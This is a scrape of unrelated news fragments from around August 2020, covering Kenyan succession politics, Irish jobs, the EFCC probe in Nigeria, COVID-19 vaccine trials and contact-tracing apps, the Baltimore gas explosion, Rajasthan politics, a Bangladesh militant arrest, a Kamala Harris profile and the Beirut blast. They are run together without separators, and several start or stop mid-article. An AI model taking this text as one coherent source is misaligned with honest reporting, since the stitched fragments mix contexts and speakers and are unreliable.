ALSO: Kasper Schmeichel: Chelsea keen on Leicester City keeper to replace Kepa Other potential kingpins In July, a delegation of top leaders from Mt Kenya region converged at a Nairobi hotel to deliberate on the region's political trajectory. Among the leaders who attended the meeting dubbed Political Lunch were Munya, governors Kiraitu Murungi (Meru), Ndiritu Muriithi (Laikipia), Lee Kinyanjui (Nakuru) Muthomi Njuki (Tharaka-Nithi), National Assembly Majority Leader Amos Kimunya, Senator Charles Kibiru (Kirinya) and former presidential candidate Peter Kenneth. Kenneth was then touted to be the potential heir of Uhuru's throne although the leaders remained tight-lipped on the matter. The former Gatanga MP has been making inroads in parts of Mt Kenya region and has attracted the support and endorsement from a section of leaders allied to the president. TUKO.co.ke also understands Kirinyaga governor Anne Waiguru has been trying to consolidate her support base in a bid to get the highly coveted endorsement. Kiunjuri was also in the equation of potential heirs until his fallout with the president in January 2020 when he was unceremoniously kicked out of the Cabinet. Raila influence Opposition leader Raila Odinga has slowly been gaining ground in Mt Kenya region and a section of Uhuru key allies like Murathe have thrown their weight behind his 2022 presidential bid. His presence at the home of Munya alongside Murathe and a host of other national leaders set the stage for more speculation. A section of leaders from Mt Kenya region have been seeking the attention of the former premier in a series of visits at his Capitol Hill office in Nairobi. Raila Odinga speaking during a past BBI rally. Photo: Raila Odinga. Source: Facebook Munya, Waiguru, Kiunjuri and Kirautu are some of the leaders have met Raila on several occasions to discuss regional issues. The ODM leader's influence in the Building Bridges Initiative (BBI) process has also endeared him to Mt. Kenya leaders. Do you have an inspirational story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690 and Tuko news. I was rejected by my father three times- Tony Cruize | Tuko TV Source: TUKO.co.ke LIMERICK has a received a jobs boost following the announcement that Bath Fitter, North Americas leading bathroom refurbishment company, is to establish its European Business Development Centre in the city. Forty two jobs are to be created at the East Link Business Park by the company which was founded in Montreal, Canada in 1984. The new facility will be Bath Fitters first to be located outside of North America. Commenting on the announcment, Glenn Cotton, President and CEO of Bath Fitter said: Picking the right location as a base of operations is essential to the success of our expansion into Europe, the UK and beyond. Limerick felt like the right fit for so many reasons, from the talented local workforce to the well-developed international communication links that support this growing city. Theres a good reason that nine of the top 10 US tech companies have operations in Ireland. The company has already started hiring and will be looking to fill additional positions over the coming months, in areas such as installation, sales and marketing, as the centre focuses on winning and serving new clients in Europe. Tanaiste and Minister for Enterprise, Trade and Employment Leo Varadkar has welcomed the investment: The decision by Bath Fitter Inc to choose Limerick for its first facility outside of North America, resulting in the creation of 42 new jobs, is a testament to the skills, talent and people of the Midwest. Through the July Stimulus and the work of IDA Ireland, we will continue to secure investment for every part of Ireland. I wish Bath Fitter all the best establishing here. Mary Buckley, Executive Director of IDA Ireland, which is supporting Bath Fitter added. This decision by Bath Fitter Inc to establish its European Business Development Centre in Limerick demonstrates the confidence the company has in Ireland and the Midwest region. The regions proximity to Shannon Airport and Limerick Port also played an important part in Limerick being Bath Fitters preferred location. Todays announcement is in line with IDA Irelands commitment to continue to win investments and jobs in regional locations. Since Bath Fitters European sales office was opened in Limerick earlier this summer, the team has hit the ground running. Our first installer was hired almost immediately, followed soon after by the first commercial order. Its been a great start and a real team effort. Were excited to bring Bath Fitters innovative and cost-effective renovation solutions to Europe. The ability to transform a bathroom in a single day gives Bath Fitter advantages over existing technologies and provides our clients with a professional and hassle-free renovation option with many years of service, said Michael Prendergast, Vice President of European Sales. The Bath Fitter team in Limerick recently welcomed a visit from Fianna Fail TD Willie ODea who said: I wish to thank Bath Fitter Inc who has established its European Business Development Centre here in Limerick City. The team already has received a wonderful welcome from both the local residents of Limerick and the vibrant business community here, and we look forward to continuing to support them. For more Limerick news click here Three arrested for drug trafficking in Carlisle County They (Armenians) will be crushed and drown in this plot they have created and they will definitively pay for what they did, Akar said after the meeting. We will continue to stand with our Azerbaijani brothers in the face of such attacks, as we have always done. Washington, Aug 11 : US President Donald Trump was temporarily escorted by a Secret Service agent from an ongoing coronavirus briefing after a shooting was reported outside the White House. "There was an actual shooting, and somebody has been taken to the hospital. I don't know the condition of the person," the president said after he returned to the White House briefing room minutes later, Xinhua news agency reported on Monday. "It seems to be very well under control," Trump said. "It was the suspect that was shot." No one else was injured, according to the president, adding that he was taken to the Oval Office when he was evacuated. Trump had been mid-sentence during the first attempt at the briefing when the Secret Service agent came into the room and asked him to leave. A senior administration official told CNN the shooting happened just outside of the White House grounds close to Lafayette Square and the shooter is in custody. The Chairman of the Presidential Advisory Committee Against Corruption, Itse Sagay, on Monday, criticised the structure of the Justice Salami-led panel probing the allegations of corruption levelled against the suspended acting EFCC boss, Ibrahim Magu. Mr Sagay also frowned at the panels approach of taking evidence from Mr Magus accusers behind him, as well as not giving him the petitions against him in advance of his defence, the Nation newspaper reports. According to the report, the lawyer said he believed Justice Salami happens to be the only member of the committee investigating Mr Magu without an interest. I criticised the Salami panel for taking evidence from the accusers behind Magus back and for not giving him the petitions against him in advance of his defence. Also, from the reports we read, the panel is packed with representatives of the DSS (Department of State Services), the Ministry of Justice and others from security agencies. These are also his accusers. Justice Salami appears to be the only neutral person on the panel. The Supreme Court of the golden age era once condemned this in strong terms in Chief Gani Fawehinmi v. the Legal Practitioners Disciplinary Committee ([1985] 2 NWLR (Pt. 7) p. 300) as come here quickly for your assured condemnation. But I believe that the Hon. Justice Salami, who has a huge and impeccable reputation as a man of integrity, will not permit any injustice to occur in spite of the above composition of the panel. However, a letter attributed to the president, Muhammadu Buhari, had circulated revealing a seven-member panel investigating the embattled EFCC boss. READ ALSO: The members include a former President of the Court of Appeal, Justice Ayo Salami (North-central); Deputy Inspector-General of Police, Michael Ogbezi (South-south); a representative of the Federal Ministry of Justice, Muhammad Babadoko (North-central); and a representative of the Department of State Services (DSS), Hassan Abdullahi (North-central). Others are; Muhammad Shamsudeen from the Office of the Accountant General of the Federation (North-west), Douglas Egweme from the Nigerian Financial Intelligence Unit (South-east), and Kazeem Atitebits(South-west) who serves as the Secretary. Mr Magu is currently being investigated before Justice Salamis panel over allegations of corruption and insubordination. He was arrested on July 6 in front of the EFCC Wuse II office and immediately driven to the Villa where his probe has since continued. The allegations were levelled against him by the Attorney-General of the Federation and Minister of Justice, Abubakar Malami. According to the report, Mr Sagay gave the remarks while reacting to a media publication where he was quoted to have said Mr Magu would not be prosecuted. He said, The headline of the report is falsely and deliberately designed to give that impression. But on page 28 of the paper, it is clearly shown that the maker of that statement is an official of the Presidency who wants to remain anonymous. It is clear that the paper dishonestly implied that I made that statement in order to boost sales at my expense. This is clearly unethical. What I said was that Magu could not be prosecuted before the Salami Report is out and that Malamis allegations are just what they are, allegations in a petition. I added that the allegations must be investigated in order to determine their veracity and the issue of whether they could be used as a basis for building up evidence. No one is prosecuted on unverified allegations as the Peoples Democratic Party (PDP) wanted, otherwise it would be a lost cause from the very beginning. I made it clear that Malamis petition was just the beginning of a process that could lead to prosecution if solid evidence is established upon investigation. I did not say Magu may not be prosecuted. I am not privy to the politics of the Presidency. That was from the Daily Independents unnamed source in the Presidency. Share this article Whatsapp Facebook Twitter Linkedin Tri Indah Oktavianti and Arya Dipa (The Jakarta Post) Jakarta/Bandung Tue, August 11, 2020 08:15 526 6657ac82168da9fa101c8a4066cf955a 1 Health ridwan-kamil,human-trial,clinical-trial,COVID-19-vaccine,Sinovac-Biotech,Bio-Farma,volunteers,relawan-uji-klinis Free West Java Governor Ridwan Kamil announced on Monday that he would volunteer in the upcoming human trials for a potential COVID-19 vaccine that is being developed by China-based biopharmaceutical company Sinovac Biotech in partnership with state-owned pharmaceutical holding company PT Bio Farma. My medical team has helped me to register online. I have received some sort of a digital receipt [of the registration form], Ridwan said in an official video for the press on Monday. However, I have not yet received any confirmation of my request. I still have to wait for the result of my health assessment, which declares whether I am qualified to be a volunteer in the trials, he added. Ridwan said he would follow all medical procedures without any special treatment to become a volunteer and he would accept any result, including if the trial committee declared him unqualified for the trials. The governor said that his decision to volunteer would hopefully send a message to the public that the government would always actively take part in efforts against COVID-19. We are all in this together. Even the governor is willing to take part in the process, he said, adding that he would be honest in delivering any result from the trials of the potential vaccine to the public. In the meantime, Indonesian scientists are set to start phase III clinical trials of the vaccine on Tuesday in six different locations in the West Java provincial capital Bandung. President Joko Jokowi Widodo is scheduled to observe in-person the trials at the hospital of Padjadjaran Universitys (Unpad) School of Medicine on Tuesday. Read also: Sinovac-Bio Farma COVID-19 vaccine ready in early 2021 The universitys medical school spokesperson, Rodman Tarigan, said the results of 21 volunteers had come back negative for COVID-19 after they took polymerase chain reaction (PCR) tests as of Monday. Those volunteers are set to receive the first injection of the potential vaccine in the human trials. The trials subjects had swab tests [on Monday] and they will also take rapid tests [on Tuesday]. Afterward, they are set to receive shots of the investigational COVID-19 vaccine, he said on Monday. In addition to the Unpad hospital, the trials are also set to be held on the Unpad campus as well as in four community health centers (Puskesmas) that are respectively located in Sukapakir, Garuda, Ciumbuleuit and Dago -- all in Bandung. Each venue will invite 20 volunteers for the human trials. As of Monday, Rodman said that 1,020 volunteers had signed up for the trials. Registration for more volunteers is still open until Aug. 31 as the trial research team has set a target of 1,620 volunteers. Whats important is that the process of the first [phase III] clinical trials [on Tuesday] must abide by health protocols, especially given that the President himself is scheduled to visit the venue, Health Minister Terawan Agus Putranto said during a visit to the Unpad medical schools hospital on Monday. Unpad rector Rina Indiastuti said she hoped the clinical trials of the potential COVID-19 vaccine in the university would inspire other researchers in higher education institutions to develop their own critically acclaimed research and innovation in the future. Read also: Bio Farma ready to mass-produce COVID-19 vaccine by years end Minister [Terawan] wants to ensure that the trial will go well. He can also see the capacity of this university in conducting research and creating scientific innovations, she said. The first clinical trials of the potential coronavirus vaccine are to be held on the second floor of the medical school hospital on Tuesday, and the university staff have made sure that the rooms are disinfected and sterilized. The clinical trials will be safe as all staff and subjects have been tested. Everyone involved must test negative [for COVID-19], the dean of Unpads medical school, Setiawan, said. After receiving their first injections, all the volunteers will be observed for 30 to 40 minutes to find out whether they show any reactions to the vaccine. Volunteers who show no reactions will be allowed to go home and receive the second injection after 14 days. The clinical trial research team leader Kusnandi Rusmil, a professor at the Unpad School of Medicine, said that all volunteers would need to take part in a total of five medical sessions throughout the clinical trial process, which would take approximately six months. Technology was supposed to help government health departments with the heavy lift in tracking and tracing the spread of the coronavirus. After all, with billions of smartphones in use around the globe, adding another app that would alert users when they were in the proximity of a person or people who were COVID-positive seemed like a no-brainer.But asSenior Staff Writer Alan Greenblatt explained, it never worked that way . Most states showed little interest in using the app developed to run on Googles Android and Apples iOS operating systems. Instead, states opted to build their own, which meant interoperability became a problem, making it tougher to share information across state lines.Google and Apple sought to minimize privacy concerns when they designed their tracing API, reported Greenblatt. It can only be used by government health departments or their contractors, which cant store data themselves. The API requires agencies to disable their apps when the pandemic ends.The system relies on anonymized Bluetooth data, which is changed repeatedly. If two people using the app are near each other, their phones collect an anonymous identification from each other in what is sometimes called a handshake.If one of the users is later diagnosed with COVID-19, that user can then decide voluntarily whether to notify the people he or she came into contact with. Notifications include no information about who potentially exposed them or where any exposure may have occurred. Its basically a flag warning them that getting tested might be a good idea.But by mid-June, while countries in Europe moved ahead with tech as the means to trace the coronavirus, the U.S. remained stuck with manual tracing programs.Then last week, Virginia launched the first contact tracing app in the U.S. using technology from Apple. The state hopes that the app, COVIDWISE, can help it catch new cases faster , writesreporter Paresh Dave, though long delays in getting test results must be overcome in order for it to be effective.Phones with the app exchange Bluetooth signals to keep an anonymous list of close encounters. The app then allows people who catch the virus to notify those contacts without anyone revealing their identity.Gov. Ralph Northam emphasized the privacy aspects of the app when it was launched. Now, I want you all to listen to this very closely. I want to be clear, this app, COVIDWISE, does not I will repeat that does not track or store your personal information. It does not track you at all, he said during a televised briefing.At least three more states are nearing the launch of similar apps, aiming to ease the burden on underfunded manual contact tracing teams.Still, the U.S. remains far behind Europe, where millions of people across 11 territories over the last two months have downloaded smartphone tracker apps using the specialized Apple-Google Bluetooth technology. In the immediate aftermath of a major gas explosion in Northwest Baltimore, hundreds of rescue workers sifted through rubble looking for survivors. Next will come the potentially drawn-out process of determining what exactly triggered the blast, which leveled three homes, killing one woman and seriously injuring at least seven others. With these investigations, it could take months, if not longer, said Jason Stanek, chairman of the Maryland Public Service Commission. Right now, our thoughts are with residents of Labyrinth Road. Fire Chief Roman Clark said at a Monday afternoon news conference that the site is still a rescue mission. But mixed in with the first responders were representatives from several agencies who will work to determine what caused the explosion. Investigators from the states Public Service Commission, which is charged with regulating utility companies, were there alongside federal and local inspectors. Our staff and federal agents, along with city officials, will be working throughout the night to determine the cause, Stanek said Monday evening. We hope to be in a better position to have more information tomorrow. Baltimore Gas and Electric Co. released a statement saying that it would begin investigating company equipment in the area once the fire rescue is over. Company officials will inspect gas mains, service pipes and gas meters. Customer-owned appliances and piping will also be investigated. In addition, BGE is reviewing records for this area, including any reported gas odors, recent inspection results and repairs, according to the company statement. Recent high-profile explosions in Maryland have taken months, or years, to investigate. A natural gas explosion partially leveled a Columbia shopping center in August 2019. Stanek said his commission is in the homestretch of completing its report into what happened then but cant share details. Exactly four years before Mondays explosion in Baltimore, a Silver Spring apartment complex partially collapsed, killing seven people. The National Transportation Safety Boards report on the gas explosion took three years to publish. Story continues Rich Langford, Baltimore Firefighters Local 734 President, said while its vital that investigators get their report right, its also important to make a determination as quickly as possible so steps could be put in place to prevent similar disasters. And while the cause of the blast is not immediately clear, he and other firefighters have long expressed concern about the citys aging gas infrastructure. About one-third of BGEs gas distribution mains, one-quarter of its gas services and half of its transmission mains are older than 50 years, the companys vice president for gas distribution, Chris Burton, told the Public Service Commission in May. Roughly 15% of its massive gas distribution system is made of outmoded materials. Last year alone, data shows, BGE workers performed more than 8,600 gas leak repairs. The number of such leaks increased by 75% from 2009 to 2016 amid what officials called a dramatic increase in the failure of pipe joints dating from the 1950s and 1960s. Property records suggest the two-story, 1,000-square-foot rowhomes in the neighborhood affected by Mondays blast date to around 1960. Langford said its too early to say if the citys old and decaying infrastructure played any part in the explosion. Baltimore Sun reporters Scott Dance and Christine Condon contributed to this article. 2020 The Baltimore Sun Visit The Baltimore Sun at www.baltimoresun.com Distributed by Tribune Content Agency, LLC. Copyright 2020 Albuquerque Journal With water levels in the Rio Grande continuing to decline, the city of Santa Fes largest water treatment plant may have to temporarily shut down soon. The Buckman Direct Diversion (BDD) Water Treatment Plant, which opened in 2011, diverts water from the Rio Grande to Santa Fe and has become one of the citys main sources of water in recent years. Its jointly operated by the city and Santa Fe County. But during last Thursdays BDD Board meeting, water operators said the prolonged drought in northern New Mexico may grind operations to a halt. What we think were looking at are critically low flows starting pretty soon, BDD Facilities Manager Rick Carpenter said. Once water levels drop below 200 cubic feet per second (cfs), Carpenter said, the plant will be unable to pull water from the Rio Grande, which would force a shutdown. While it remains unknown exactly when a shutdown would take place, Carpenter said it is highly likely one will take place in the near future. He said the plant would be offline for three to six weeks. Water Division Director Jesse Roach, in a previous interview, told the Journal the city has enough water supply in its wells to last several years without supply from the BDD. City officials expressed concerns last month about a possible shutdown of Buckman, after a brutal drought and dismal snowpack diminished much of the supply in New Mexicos largest reservoirs. Currently, Buckman is only diverting water from the San Juan-Chama Project, which delivers water to communities across the state, instead of water native to the Rio Grande, Carpenter said. Management tactics in Albuquerque and newly-released water from the El Vado Lake Reservoir have kept the Buckman plant running, at least temporarily. As of Monday, water flows at the plant measured at 798 cfs. Roach said the city will likely shut down its other treatment plant on Canyon Road sometime in the fall. Its normal for the Canyon Road plant to close for two weeks, but this time the city is looking to close it for an entire month, Roach said. Roach said periodically closing both plants would allow for cross-training of water staff and deep cleaning. Premier Mark McGowan has reassured the community Western Australias hotel quarantine protocols were "perhaps the strongest in Australia" after a fourth breach involving a security guard at the weekend. A couple who were isolating at the Mercure Hotel in Perth claimed the guard burst into their room looking for a remote around 9pm on Saturday. The guard has since been placed in quarantine. The Mercure Hotel in Perth. Mr McGowan said the couple involved had recently returned from Victoria. The breach that occurred the other day was basically a security guard going to the wrong room to get a TV remote control, he didnt get close to the people involved and obviously if anyone was under any risk it was actually the security guard, not the people in the hotel room, because they were the ones who were quarantining, he said. 2020 was shaping up to be a promising year for Maryama Ahmed. The 25-year-old had recently graduated university the first person in her immediate family to receive a bachelors degree. As a Muslim woman, born to parents who immigrated to Canada from Somalia, who grew up in subsidized housing for lower-income families in the Kitchener area, she says she overcame many obstacles to achieve this feat. Upon graduating from University of Toronto in political science last fall, she was feeling optimistic about life and the future. Then the COVID-19 pandemic hit and its subsequent impact brought all her plans to a screeching halt. Just two weeks into her new job at a hotel in downtown Toronto, Ahmed was among the first to be let go as the hospitality industry rapidly began to shut down when strict lockdown measures were introduced to fight off the spread of COVID-19. It was completely insane, she said about the desperation she felt as the world went into lockdown and she was left living amid a health crisis with no income to support herself. Some have termed the coronavirus the great equalizer, as it can indiscriminately infect anyone, but the impact it inflicts on people is far from equal. Just as families makeup and socio-economic statuses are different, the stakes can be much different when it comes to living in the era of COVID-19. For Ahmed, glimmers of hope that she felt each time Prime Minister Justin Trudeau announced a different program to help people during the pandemic would fade away as she realized the program excluded her. She had worked some summer jobs and did some tutoring last year, but had made just under $5,000 in total, which was the minimum threshold to qualify for the Canada Emergency Response Benefit (CERB) and receive the monthly $2,000. The Canada Emergency Student Benefit (CESB) also excluded her as it was meant for those going into or enrolled in post-secondary education or those who had completed it in December or later. She graduated in November. And she hadnt accumulated enough working hours to qualify for Employment Insurance benefits either. Essentially I had graduated too early and I had gotten my job too late and I was being punished for that, Ahmed said. It was quite a conundrum and a complete shock. On paper I had done everything right, but still I couldnt get help. And I wasnt alone. Ahmed said it has been challenging to cope with life without income throughout these months, especially in Toronto where the cost of living is high from housing expenses to grocery bills and transportation. People in her situation are just in a survival mode, she said. Ahmeds experience pushed her to be among young people leading the charge in campaigning to ask the federal government to provide income support to all the students and recent graduates, regardless of their previous work experiences. An online petition they started a few weeks ago, with the backing of the Canadian Federation of Students, under the banner #DontForgetStudents has garnered over 45,000 signatures. The $5,000 per year income threshold that is currently attached to the CERB will leave behind many students and recent graduates who were unable to work in the last year because they were pursuing their studies, the petition states. Ahmed said she has repeatedly reached out to her local MP, who happens to be finance minister Bill Morneau, but her pleas for support have so far gone unanswered. She said she and other students in her situation share a feeling of betrayal and sadness over being ignored in the time of great need. There is this nonchalant attitude when it comes to students, as if we dont have bills to pay, as if we dont have children to take care of, as if we dont have dependent family members we have to care for and financially support, she said, adding it is irresponsible for government to leave a portion of its population out of any support program. It was completely unnecessary. They didnt have to put in restrictions that they did, and it looks like it was very arbitrary. All she and other students ask for is initiatives such as CESB or CERB to be expanded immediately and include the fall 2019 graduates in the support programs. They also want the student benefits to be upped to $2,000 a month to match the CERB amount for everyone. Currently, most eligible students receive $1,250, but those living with a disability or who have one or more dependants under the age of 12 can receive $2,000. It saddens me to say that had I been in Trumps America I would have at least received the one-time payment of $1,200, she said. I havent received a dime here in Canada, six months into the pandemic. Editors note: Some have termed COVID-19 the great equalizer because it can indiscriminately infect anyone. But the impact it has on people and families is far from equal. The Stars Viral Inequality series looks at how people from various walks of life have seen their lives change, and, in some cases, how theyve slipped through the safety net of government support. If youd like to share your story as part of the Stars Viral Inequality series, contact Gilbert Ngabo at gngabo@thestar.ca. The Congress said Tuesday that the crisis in Rajasthan is a "closed chapter" and all legislators supporting its government will work towards strengthening Rajasthan and fighting COVID-19 and other economic calamities. Congress chief spokesperson Randeep Surjewala credited former party chief Rahul Gandhi for his vision in helping resolve the crisis in Rajasthan, after he intervened and assured rebel Sachin Pilot and MLAs close to him of redressal of their grievances. "It is a close chapter and I would not like to comment further on the same. I would only say, we will all work together including Pilot and all the 18 MLAs who have gone, including Rajasthan Chief Minister Ashok Gehlot. "All our legislators as also those who were supporting our Government will work in strengthening Rajasthan and in fighting COVID and other economic calamities and as they say 'All's well that ends well'," he told reporters. Surjewala said after yesterday's meeting of Pilot with Gandhi, in whose leadership he reposed complete and total faith, he has resolved to work with the Congress government in Rajasthan and for strengthening the party in the state, along with all the MLAs who were temporarily annoyed. The Congress leader said the entire country witnessed as to how after 30 days the political events of Rajasthan have come to a close. This, he said, is indeed a victory for the 8 crore Rajasthanis as also all the Congress legislators and well-wishers. He said this was made possible by the vision and belief of Gandhi in carrying all Congress leaders together bereft of any differences of opinion that they may have. The resolution of the crisis was also helped by the cooperation and assistance given by Priyanka Gandhi Vadra, the Congress leader said, thanking Gehlot for showing maturity. "This is also a befitting reply to BJP and its conspirators who despite having been rejected by the people of Rajasthan, were seeking to form a BJP government despite being in minority," he said. Surjewala said the BJP is "badly divided" into various groups that they could not call a meeting of the legislature party and finally called three chartered planes to take their MLAs away. On the exchange of language during the crisis, Surjewala admitted that some "hot words" were exchanged and some bitterness was caused. The political crisis in Rajasthan Congress ended on Monday after a meeting of Pilot with Gandhi and later the MLAs met top Congress leaders and were assured that their grievances would be redressed in a time-bound manner. Congress president Sonia Gandhi also announced the formation of a three-member Committee that would hear the grievances of rebel leaders. Bangladeshi counterterrorist police said Tuesday they had arrested five suspects and foiled a plan by a pro-Islamic State militant faction to attack a shrine to a Sufi saint in Sylhet city. The suspects, identified as members of Neo-JMB, were also wanted in connection with the explosion of a home-made bomb in Dhakas Paltan area on July 24, according to officials with the Counter-Terrorism and Transnational Crimes unit at Dhaka Metropolitan Police. In addition, the five were allegedly linked to an attempted bomb attack the following night. The arrested militants had a plan to attack the shrine of Hazrat Shahjalal. We foiled it, Sylhet Metropolitan Police Commissioner Golam Kibria told BenarNews. Sylhet, in northeastern Bangladesh, is about 240 km (150 miles) from Dhaka. Hundreds of devotees visit the holy shrine of Sufi saint Hazrat Shahjalal each day and the leaders of the nations two major political parties traditionally kick off their election campaigns by offering prayers at the shrine. In 2004, Harkatul Jihad al-Islami Bangladesh militants hurled a grenade on then-British Ambassador Anwar Choudhury during his visit to the holy site. Police on Tuesday identified the suspects as team leader Sheikh Naimuzzan along with Sayem Mirza, Rubel Mahmud, Abdur Rahim Jewel and Sanaul Islam. Two of the suspects are university-level students. We led raids at different places in the Sylhet Metropolitan area and finally captured the suspects, Saiful Islam, a deputy commissioner with counter-terrorist police, told BenarNews. Police said they had been on high alert since mid-July after receiving information about potential terrorist attacks at significant locations including shrines, mosques and other religious sites. Abdul Mannan, an additional deputy commissioner with the unit, said terrorists had not been idle during the COVID-19 pandemic. Our intelligence shows [that] militants used the virtual world for motivating and recruiting members during this pandemic. But, they are not in a situation to carry out any big attack now, Abdul Mannan told BenarNews. Bangladesh has been hit by a series of militant attacks in the last 12 months. On Aug. 31, 2019, a remote-controlled bomb blast in Dhaka injured three people. More recently, police have been hit by bomb attacks since April 29 when three were injured. A similar attack on June 26 left two injured. Police located and detonated two bombs on July 23. The SITE Intelligence Group, a U.S.-based firm that monitors online communications among Islamic militant groups worldwide, reported that the IS claimed responsibility for those attacks even as government officials denied its existence in Bangladesh. Neo-JMB was blamed for Bangladeshs worst-ever terrorist attack, an overnight siege at the Holey Artisan Bakery cafe in Dhaka in July 2016. The attack, claimed by Islamic State, left 29 people dead. They included 20 hostages who were hacked to death with machetes by five young gunmen, who were killed when government security forces raided the cafe on the morning of July 2. OTTAWA - A new opinion survey suggests Donald Trumps recent decision to slap a tariff on Canadian raw aluminum is garnering poor reviews on both sides of the border. In a web survey conducted by polling firm Leger and the Association for Canadian Studies, 58 per cent of American respondents said they disagreed with the 10 per cent import tax. In what comes as less of a surprise, 90 per cent of Canadians who took part in the survey objected to the White Houses tariff. The survey was conducted Aug. 7 to 9 among 1,513 Canadians and 1,003 Americans, 18 or older, who were recruited from an online panel. Since polls created from internet panels are not random samples, the survey cannot be assigned a margin of error. The polling firm says that using data from the 2016 census, results were weighted according to age, gender, language spoken, region, level of education and presence of children in the household in order to ensure a representative sample of the population. Trump announced last week he was reimposing a tax on Canadian raw aluminum because Canada had broken a promise not to flood the U.S. market with the product. Deputy Prime Minister Chrystia Freeland vehemently denied the dumping claim and said Canada would soon retaliate with $3.6 billion in tariffs on American items that contain aluminum. In imposing these tariffs, the United States has taken the absurd decision to harm its own people at a time its economy is suffering the deepest crisis since the Great Depression, she said. Any American who buys a can of beer or a soda or a car or a bike will suffer. The comments might help explain why 28 per cent of Americans surveyed said they somewhat disagreed with Trumps move, while 30 per cent said they totally disagreed. Jean-Marc Leger, president of the survey firm, suggested the numbers reflect a lack of a clear rationale for the action by the mercurial U.S. president. Why the 10 per cent? Why at this moment? he said. It looks like another impulsive decision. Sixty-nine per cent of Canadians who participated in the survey said they completely disagreed with the tariff, with 21 per cent somewhat opposed. Seventy per cent of Canadian respondents said Ottawa should fight back by imposing tariffs of its own on U.S. products. The trade spat shattered the brief harmony between Ottawa and Washington that followed a successful renegotiation of the North American free trade agreement. While nearly two-thirds of Americans told Leger that Canada and the U.S. benefit equally from their commercial exchanges, only 38 per cent of Canadians supported the notion. Trump has also proposed banning popular video-sharing platform TikTok on national security grounds due to its corporate ties to China. Forty-six per cent of American respondents supported the idea. Fifty-four per cent of Canadians said they believed the Chinese government was using TikTok to spy on people. But only about one-third said Ottawa should outlaw the platform. This report by The Canadian Press was first published Aug. 11, 2020. Read more about: " " Kamala Harris is sworn is as U.S. vice president at the inauguration of U.S. Joe Biden on the West Front of the U.S. Capitol on Jan. 20, 2021. She becomes the first-ever Black woman to be elected vice president. Rob Carr/Getty Images "That day when a little girl from Oaktown became the first black woman to be a major-party vice-presidential nominee..." When lawyer Maya Harris tweeted that congratulatory sentiment, she succinctly summed up the pride and historical significance of her sister's triumph. On Aug. 11, 2020, Democratic presidential nominee Joe Bidenofficially announced former California Sen. Kamala Harris as his vice presidential running mate for the 2020 presidential election. His selection meant Harris (Biden's former opponent in the race) would become the third woman in history (and first Black woman and first Asian American woman) to be nominated for vice president by a major political party. But Harris made history again when she and Biden won the presidential election. These were perhaps the most disputed election results ever after Donald Trump claimed the election was rigged. But finally on Jan. 6, 2021, after a deadly insurrection on the U.S. Capitol, Biden and Harris were officially certified as the winners of the electoral college. Harris became the first-ever woman to be sworn in as vice president of the United States on Jan. 20, 2021. Advertisement Harris' Early Life Born in Oakland, California on Oct. 20, 1964, Kamala Devi Harris had two major role models from the start: Her mother, Shyamala Gopalan (whom Harris has described as the most important influence on her life) was a breast cancer researcher from India, and her father, Donald Harris, immigrated to the United States from Jamaica and worked as an economics professor at Stanford University. Her parents met during graduate school at UC Berkeley while attending political protests, and although they divorced when Harris was a child, both are said to have had a significant influence on her professional trajectory and political leanings. (Gopalan died from colon cancer in 2009 and Harris retired early from Stanford in 1998 and has since worked as a researcher and economic consultant for the Jamaican government.) Harris earned her undergraduate degree from Howard University in 1986 and her law degree from the University of California, Hastings three years later. She then kicked off her career in the Alameda County district attorney's office and worked as an Oakland deputy district attorney from 1990 to 1998. In that role, she garnered a reputation for being tough on issues like gang violence, drug trafficking and sexual abuse. In 2003, she became the district attorney of the City and County of San Francisco, and six years and two terms later, was elected attorney general of California by a margin of less than 1 percent. The narrow win made history as Harris became the first female and the first Black person to hold the post. One of Harris' hallmark moves during her time as attorney general was refusing to defend Proposition 8, the 2008 California ballot measure that banned same-sex marriage in the state and was later deemed unconstitutional in federal court. In 2013, Harris officiated the first same-sex marriage in California shortly after the federal appeals court decision. Advertisement Harris Makes History as Senator In November 2016, Harris defeated Congresswoman Loretta Sanchez for a seat in the U.S. Senate, becoming the second Black woman and the first South Asian American ever to enter the legislative branch. She served on the chamber's Homeland Security and Governmental Affairs Committee, Select Committee on Intelligence, Committee on the Judiciary and Committee on the Budget. Harris was known for her support of a single-payer health care system and introduced legislation to increase outdoor recreation site access in urban areas and to provide financial relief to those facing rising housing costs. In 2017, Harris made headlines while serving on the Judiciary Committee for her rapid-fire and pointed questioning of then-Attorney General Jeff Sessions and again in 2018 for "grilling" Supreme Court Justice nominee Brett Kavanaugh. In 2019, Harris published her memoir, "The Truths We Hold: An American Journey," and soon after announced that she was seeking the 2020 Democratic presidential nomination. She dropped out of the race in September 2019, at which point Biden said he would "of course" consider her as his running mate. "Senator Harris has the capacity to be anything she wants to be," Biden said December 2020. "She is solid. She can be president someday herself. She can be the vice president. She can go on to be a Supreme Court justice. She can be an attorney general. I mean, she has enormous capability." Harris submitted a formal letter of resignation to California Gov. Gavin Newsom ending her four years in the Senate on Jan. 18, 2021, to assume her duties as vice president. Advertisement Harris as Vice President Despite the memorable exchange during the 2019 debates in which Harris challenged Biden over school busing, Harris and Biden have said in multiple interviews that they plan to tackle their administration as partners. "There's not a single decision I've made yet about personnel or about how to proceed that I haven't discussed with Kamala first," Biden told CNN's Jake Tapper in their first joint interview on Dec. 3, 2020. Harris agreed saying she plans on being a full partner. "We are full partners in this process," Harris told Tapper. "And I will tell you that the President-elect has been, since the first day he asked me to join him on the ticket, been very clear with me that he wants me to be the first and the last in the room. And so on every issue that impacts the American people I will be a full partner to the President-elect and the President, and whatever our priorities are I will be there to support him and support the American people." Now That's Interesting Not only is Kamala Harris making history, but so is her husband, 56-year-old Doug Emhoff. As the spouse of the vice president, Emhoff will become the United States' first "second gentleman." Advertisement Originally Published: Aug 11, 2020 It also took a toll on Western diplomats, many of whom maintain missions in Beirut, Lebanons capital, and live in high-rise apartments with commanding views of the Mediterranean and of the port, putting them directly in the path of the explosion. The wife of the Dutch ambassador to Lebanon, Hedwig Waltmans-Molier, died from wounds sustained in the blast, the Dutch foreign ministry said. She had been standing in her living room when the explosion occurred. A German consular officer, whose name has not been released, was also killed in the explosion. Many other diplomats from nations allied with the United States had their windows shattered and property damaged. The British and French Embassies both sustained damage, and windows were shattered in the mansion where the French ambassador lives. When informed by The Times about the contents of the cable, some expressed surprise and outrage that if the United States had the information, it was not shared. If confirmed, it would be very shocking to say the least, said one Western diplomat whose apartment was damaged in the blast, speaking on the condition of anonymity in accordance with diplomatic protocol. Zac Efron is returning to Disney for the first time since his breakout role in High School Musical. The actor, who has recently starred in a flurry of films aimed 